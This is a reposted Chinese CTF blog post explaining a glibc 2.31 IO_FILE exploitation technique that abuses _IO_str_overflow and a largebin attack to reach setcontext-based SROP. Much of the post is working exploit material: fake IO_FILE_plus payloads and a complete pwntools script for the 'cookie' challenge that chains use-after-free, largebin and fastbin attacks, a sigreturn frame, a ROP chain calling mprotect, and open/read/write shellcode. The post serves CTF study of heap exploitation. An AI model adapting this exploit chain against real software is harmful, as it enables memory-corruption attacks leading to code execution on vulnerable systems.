• (转)新版本glibc下的IO_FILE攻击


    前言

    原文链接:cnitlrt

    攻击原理:

    在以前版本的IO_FILE攻击普遍上采用的是劫持IO函数的_chain字段为伪造的IO_FILE_plus然后进行利用,其中伪造的IO_FILE_plus的vtable一般是io_str_jmps,而新版本的IO_FILE攻击也不例外,首先我们看一下libc2.32上的io_str_overflow函数

    int
    _IO_str_overflow (FILE *fp, int c)
    {
      int flush_only = c == EOF;
      size_t pos;
      if (fp->_flags & _IO_NO_WRITES)
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (size_t) (_IO_blen (fp) + flush_only))
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    	return EOF;
          else
    	{
    	  char *new_buf;
    	  char *old_buf = fp->_IO_buf_base;
    	  size_t old_blen = _IO_blen (fp);
    	  size_t new_size = 2 * old_blen + 100;
    	  if (new_size < old_blen)
    	    return EOF;
    	  new_buf = malloc (new_size);
    	  if (new_buf == NULL)
    	    {
    	      /*	  __ferror(fp) = 1; */
    	      return EOF;
    	    }
    	  if (old_buf)
    	    {
    	      memcpy (new_buf, old_buf, old_blen);
    	      free (old_buf);
    	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
    	      fp->_IO_buf_base = NULL;
    	    }
    	  memset (new_buf + old_blen, '', new_size - old_blen);
    
    	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
    	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
    	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
    	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
    	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
    
    	  fp->_IO_write_base = new_buf;
    	  fp->_IO_write_end = fp->_IO_buf_end;
    	}
        }
    
      if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
      if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
      return c;
    }
    

    可以看到程序里面有malloc,memcpy,free等函数,并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置:

       0x7ffff7e6eb20 <__GI__IO_str_overflow>:	repz nop edx
       0x7ffff7e6eb24 <__GI__IO_str_overflow+4>:	push   r15
       0x7ffff7e6eb26 <__GI__IO_str_overflow+6>:	push   r14
       0x7ffff7e6eb28 <__GI__IO_str_overflow+8>:	push   r13
       0x7ffff7e6eb2a <__GI__IO_str_overflow+10>:	push   r12
       0x7ffff7e6eb2c <__GI__IO_str_overflow+12>:	push   rbp
       0x7ffff7e6eb2d <__GI__IO_str_overflow+13>:	mov    ebp,esi
       0x7ffff7e6eb2f <__GI__IO_str_overflow+15>:	push   rbx
       0x7ffff7e6eb30 <__GI__IO_str_overflow+16>:	sub    rsp,0x28
       0x7ffff7e6eb34 <__GI__IO_str_overflow+20>:	mov    eax,DWORD PTR [rdi]
       0x7ffff7e6eb36 <__GI__IO_str_overflow+22>:	test   al,0x8
       0x7ffff7e6eb38 <__GI__IO_str_overflow+24>:	jne    0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
       0x7ffff7e6eb3e <__GI__IO_str_overflow+30>:	mov    edx,eax
       0x7ffff7e6eb40 <__GI__IO_str_overflow+32>:	mov    rbx,rdi
       0x7ffff7e6eb43 <__GI__IO_str_overflow+35>:	and    edx,0xc00
       0x7ffff7e6eb49 <__GI__IO_str_overflow+41>:	cmp    edx,0x400
       0x7ffff7e6eb4f <__GI__IO_str_overflow+47>:	je     0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
       0x7ffff7e6eb55 <__GI__IO_str_overflow+53>:	mov    rdx,QWORD PTR [rdi+0x28]  <----
       0x7ffff7e6eb59 <__GI__IO_str_overflow+57>:	mov    r14,QWORD PTR [rbx+0x38]
       0x7ffff7e6eb5d <__GI__IO_str_overflow+61>:	mov    r12,QWORD PTR [rbx+0x40]
       0x7ffff7e6eb61 <__GI__IO_str_overflow+65>:	xor    ecx,ecx
       0x7ffff7e6eb63 <__GI__IO_str_overflow+67>:	mov    rsi,rdx
       0x7ffff7e6eb66 <__GI__IO_str_overflow+70>:	sub    r12,r14
       0x7ffff7e6eb69 <__GI__IO_str_overflow+73>:	cmp    ebp,0xffffffff
       0x7ffff7e6eb6c <__GI__IO_str_overflow+76>:	sete   cl
       0x7ffff7e6eb6f <__GI__IO_str_overflow+79>:	sub    rsi,QWORD PTR [rbx+0x20]
       0x7ffff7e6eb73 <__GI__IO_str_overflow+83>:	add    rcx,r12
       0x7ffff7e6eb76 <__GI__IO_str_overflow+86>:	cmp    rcx,rsi
       0x7ffff7e6eb79 <__GI__IO_str_overflow+89>:	ja     0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
       0x7ffff7e6eb7f <__GI__IO_str_overflow+95>:	test   al,0x1
       0x7ffff7e6eb81 <__GI__IO_str_overflow+97>:	jne    0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
       0x7ffff7e6eb87 <__GI__IO_str_overflow+103>:	lea    r15,[r12+r12*1+0x64]
    

    可以看到在调用malloc之前的0x7ffff7e6eb55位置rdx被赋值为[rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx,因此我们可以通过这个位置来进行新版下的setcontext,进而实现srop,具体做法是利用非预期地址填充将malloc_hook填充为setcontext,这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址,然后在后面malloc的时候会触发setcontext,而此时rdx已经可控,因此就可以成功实现srop
    综上可知参数对应关系为:

    _flags = 0
    _IO_write_ptr = 用于srop的地址(此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base)
    new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base ) + 100)
    memcpy(new_buf,_IO_buf_base,_IO_buf_end - _IO_buf_base)
    free(_IO_buf_base)
    
    glibc2.30下的largebin attrack

    首先看一下源码

    else
    {
      victim_index = largebin_index (size);
      bck = bin_at (av, victim_index);
      fwd = bck->fd;
    
      /* maintain large bins in sorted order */
      if (fwd != bck)
        {
          /* Or with inuse bit to speed comparisons */
          size |= PREV_INUSE;
          /* if smaller than smallest, bypass loop below */
          assert (chunk_main_arena (bck->bk));
          if ((unsigned long) (size)
      < (unsigned long) chunksize_nomask (bck->bk))
            {
              fwd = bck;
              bck = bck->bk;
    
              victim->fd_nextsize = fwd->fd;
              victim->bk_nextsize = fwd->fd->bk_nextsize;
              fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            }
          else
            {
              assert (chunk_main_arena (fwd));
              while ((unsigned long) size < chunksize_nomask (fwd))
                {
                  fwd = fwd->fd_nextsize;
      assert (chunk_main_arena (fwd));
                }
    
              if ((unsigned long) size
      == (unsigned long) chunksize_nomask (fwd))
                /* Always insert in the second position.  */
                fwd = fwd->fd;
              else
                {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
                }
              bck = fwd->bk;
              if (bck->fd != fwd)
                malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
            }
        }
      else
        victim->fd_nextsize = victim->bk_nextsize = victim;
    }
    
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
    

    可以看到在将unsortedbin放入largbin的时候,程序在unsortedbin size > largbin size的时候加了一个检查

    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
    

    而这个位置正是我们平时常用的位置,但是同时可以看到在size小于的时候没有加这个检查,因此我们可以通过这一点来进行glibc2.30下的largebin attrack,具体做法是首先在largbin中添加一个堆块,同时释放一个比它小并且在同意index的堆块进unsortedbin,改变largbin的bk_nextsize为targetaddr-0x20,然后我们申请一个free之后可以放入unsortedbin的堆块,这是会将unsortedbin放入largbin,并执行下面的流程

    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    

    而largbin->_bk_nexsize已经被劫持成了targetaddr-0x20了,因此会像targetaddr-0x20->fd_nextsize写入largbin堆块的值,即向targetaddr写入堆地址,然后我们free我们申请的这个堆块的时候就会和剩下的unsortedbin堆块合并,重新放入unsortedbin中,达到复用的效果

    攻击流程

    此种方法一般结合largebin attrack,因为largebin attrack可以实现任意地址填充堆地址,因此我们可以利用largebin attrack将io函数的_chain字段劫持为堆地址,然后当程序退出的时候会刷新程序流此时会进入我们伪造的io_file中实现我们的攻击,下面我们用我出的一个例题来具体体会一下该方法的威力

    练习

    此题为HWS - cookie,由于一些特殊原因就暂不提供附件了,师傅们可以根据分析写一个类似的题目

    分析:

    该题为glibc2.31,程序有add del edit show功能,在del里面有着明显的uaf漏洞,并且开了沙盒,add的时候只能申请largebin范围的堆块并且不超过0x600

    利用:

    我们考虑使用largebin attrack劫持stderr->_chain字段为一个堆地址并且劫持global_max_fast为堆地址用来构造chunkoverlapping,通过chunkoverlapping在0xa0的bin中留下两个堆块,其中一个是malloc_hook,然后我们利用io_file的非预期堆块申请申请到malloc_hook同时用非预期填充将malloc_hook填充为setcontext,这样在进入下一个fake IO_FILE的时候就会触发srop进而orw出flag,由此我们需要构造三个fake IO_FILE_plus,前两个用来申请到malloc_hook并且将malloc_hook填充为setcontext,最后一个用来设置rdx的值同时触发srop,

    调试

    我们进行简单的调试直观的看一下,首先我们通过chunkoverlapping来在0xa0的堆块中放入两个堆块,此时的bin:

    然后我们看一下我们的fake IO_FILE_plus
    Fake IO_FILE_plus1(malloc(0x90))

    payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
    payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4 #size
    payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"x00"*8 #_chain
    payload += p64(0)*4+"x00"*48
    payload += p64(0x1ed560+libc_base)
    

    可以看到第二行的两个地址差22,而通过我们的size计算可以得出size = (0x90-100)/2 = 22

    执行完之后:

    Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)

    payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
    payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4 #size
    payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8 #chain
    payload += p64(0)*4+"x00"*48
    payload += p64(0x1ed560+libc_base)
    


    执行之后:

    可以看到已经成功将malloc_hook劫持为setcontext,接下来执行第三个IO_FILE_plus就会触发srop,orw出flag
    Fake IO_FILE_plus3:(srop)

    payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
    payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
    payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8
    payload += p64(0)*4+"x00"*48
    payload += p64(0x1ed560+libc_base)
    

    完整exp:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Author: cnitlrt
    import sys
    import os
    import re
    from pwn import *
    # context.log_level = 'debug'
    
    binary = './cookie'
    elf = ELF('./cookie')
    libc = elf.libc
    context.binary = binary
    
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = sys.argv[1]
      port =  sys.argv[2]
      p = remote(host,port)
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
    l64 = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
    l32 = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    def cmd(idx):
    	sla(">>",str(idx))
    def add(size,payload):
    	cmd(1)
    	sla("Size:
    ",str(size))
    	sa("Content:
    ",payload)
    def show(idx):
    	cmd(3)
    	sla("Index:
    ",str(idx))
    def free(idx):
    	cmd(2)
    	sla("Index:
    ",str(idx))
    def edit(idx,payload):
    	cmd(4)
    	sla("Index:
    ",str(idx))
    	sa("Content:
    ",payload)
    def ss():
    	gdb.attach(p)
    	pause()
    def exp():
    	add(0x458,"aaaa")
    	add(0x500,"aaaa")
    	add(0x468,"aaaa")
    	add(0x500,"aaaa")#3
    	add(0x500,"aaaa")#4
    	add(0x500,"aaaa")#5
    	add(0x500,"aaaa")#6
    	add(0x500,"aaaa")#7
    	add(0x500,"aaaa")#8
    	#leak libc_base
    	free(2)
    	show(2)
    	libc_base = l64()-libc.sym['__malloc_hook']-0x10-96
    	lg("libc_base",libc_base)
    	#put chunk2 into largebin
    	add(0x600,"aaaa")#9
    	#leak heap_base
    	edit(2,"a"*0x19)
    	show(2)
    	ru("a"*0x18)
    	heap_base = u64(p.recv(6).ljust(8,"x00"))-0xc61
    	lg("heap_base",heap_base) 
    	#put chunk0 into unsortedbin
    	free(0)
    	#hijack stderr->_chain = chunk2
    	edit(2,p64(0)*3+p64(0x1ec628+libc_base-0x20))#stderr->_chain
    	add(0x448,"aaa")#10
    	free(10)
    	#hijack global_max_fast = chunk2
    	edit(2,p64(0)*3+p64(0x1eeb80+libc_base-0x20))#global_max_fast
    	add(0x448,"aaa")#11
    	#chunk overlapping
    	edit(3,"a"*0x40+p64(0)+p64(0x511))
    	edit(4,"a"*0x30+p64(0)+p64(0x21)*10)
    	free(3)
    	edit(3,p64(heap_base+0x10c0))
    	add(0x500,"aaa")
    	add(0x500,"ddd")#13
    	edit(4,"a"*0x90+p64(0)+p64(0x471))
    	edit(13,"a"*0x4b0+p64(0)+p64(0xa1))
    	#fastbin attrack
    	free(4)
    	edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
    	free(4)
    	edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
    	"""
    	tcachebins
    	0xa0 [  2]: 0x56074fb96590 —▸ 0x7f116d446b60 (__memalign_hook) —▸ 0x7f116d2f8570 (memalign_hook_ini) ◂— ...
    	fastbins
    
    	"""
    	payload = p64(0x580dd+libc_base)+p64(0x21) #setcontext
    	edit(0,payload*50)
    	#malloc(0x90)
    	payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
    	payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4
    	payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"x00"*8
    	payload += p64(0)*4+"x00"*48
    	payload += p64(0x1ed560+libc_base)
    	edit(2,payload)
    	#malloc(0x90) && set malloc_hook = setcontext
    	payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
    	payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4
    	payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8
    	payload += p64(0)*4+"x00"*48
    	payload += p64(0x1ed560+libc_base)
    	edit(5,payload)
    	#trigger && rdx = QWORD PTR [rdi+0x28] = heap_base+0x29d0
    	payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
    	payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
    	payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8
    	payload += p64(0)*4+"x00"*48
    	payload += p64(0x1ed560+libc_base)
    	edit(6,payload)
    	# ss()
    	free_hook = libc_base+libc.sym["__free_hook"]
    	free_hook1 = free_hook&0xfffffffffffff000
    	syscall = libc_base+0x0000000000066229
    	#fakeframe
    	frame = SigreturnFrame()
    	frame.rdi = 0
    	frame.rsi = free_hook1
    	frame.rdx = 0x2000
    	frame.rsp = free_hook1
    	frame.rip = syscall
    	edit(8,str(frame))
    
    	poprdi = 0x0000000000026b72+libc_base
    	poprsi = libc_base+0x0000000000027529
    	pop2rdx = libc_base+0x000000000011c1e1
    	poprax = libc_base+0x000000000004a550
    
    	#mprotect(free_hook1,0x2000,7) && orw shellcode
    	payload = [poprdi,free_hook1,poprsi,0x2000,pop2rdx,0x7,0]
    	payload += [poprax,10,syscall,free_hook1+0x58]
    
    	sc = shellcraft.open("flag",0)
    	sc += shellcraft.read("rax",free_hook1+0x300,0x40)
    	sc += shellcraft.write(1,free_hook1+0x300,0x40)
    	cmd(5)
    
    	p.send(flat(payload)+asm(sc))
    	p.interactive()
    if __name__ == "__main__":
    	exp()
    

    总结:

    该方法我觉得作用很大,可以在一功能不够用的时候或存在限制的时候实现非预期申请释放和填充堆块,用的熟练的话可以达到意想不到的效果

  • 相关阅读:
    AS2介绍
    .net 资源大收藏
    智能客户端(SmartClient)(转载)
    [WPF Bug清单]之(3)——暗中创建文件的打开文件对话框
    实例分析SharpDevelop代码完成功能
    [WPF Bug清单](序)与之(1)——可以多选的单选ListBox
    实例分析SharpDevelop代码完成功能(续)——添加对Boo语言的支持
    [WPF Bug清单]之(2)——RadioButton的IsChecked绑定失效
    让WPF窗体程序支持命令行方式运行的三种方式
    基于文法分析的表达式计算器的实现
  • 原文地址:https://www.cnblogs.com/cnitlrt/p/14202309.html
Copyright © 2020-2023  润新知